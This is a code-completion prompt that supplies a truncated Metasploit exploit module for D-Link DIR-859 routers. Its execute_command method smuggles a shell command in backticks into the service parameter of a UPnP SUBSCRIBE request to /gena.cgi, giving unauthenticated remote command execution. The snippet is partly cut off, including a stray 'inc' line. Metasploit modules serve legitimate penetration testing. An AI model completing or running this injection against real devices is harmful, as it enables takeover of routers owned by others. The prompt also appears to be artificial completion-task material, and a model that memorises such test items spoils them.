You are an expert in writing code in many different languages. Your goal is to perform code completion for the following code, keeping in mind the rest of the code and the file meta data.
    Metadata details:
    filename: dlink_dir859_subscribe_exec.rb
    path of file: ./repos/metasploit-framework/modules/exploits/linux/upnp
    
    the code of the file until where you have to start completion: ##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  inc
    
  def execute_command(cmd, opts)
    callback_uri = "http://192.168.0." + Rex::Text.rand_text_hex(2).to_i(16).to_s +
      ":" + Rex::Text.rand_text_hex(4).to_i(16).to_s +
      "/" + Rex::Text.rand_text_alpha(3..12)
    begin
      send_request_raw({
        'uri'	=> "/gena.cgi?service=`#{cmd}`",
        'method' =>	'SUBSCRIBE',
        'headers' =>
        {
                'Callback' => "<#{callback_uri}>",
                'NT' => 'upnp:event',
                'Timeout' => 'Second-1800',
        },
      })
    rescue ::Rex::ConnectionError
      fail_with(Failure::Unreachable, "#{rhost}:#{rport} - Could not connect to the webservice")
    end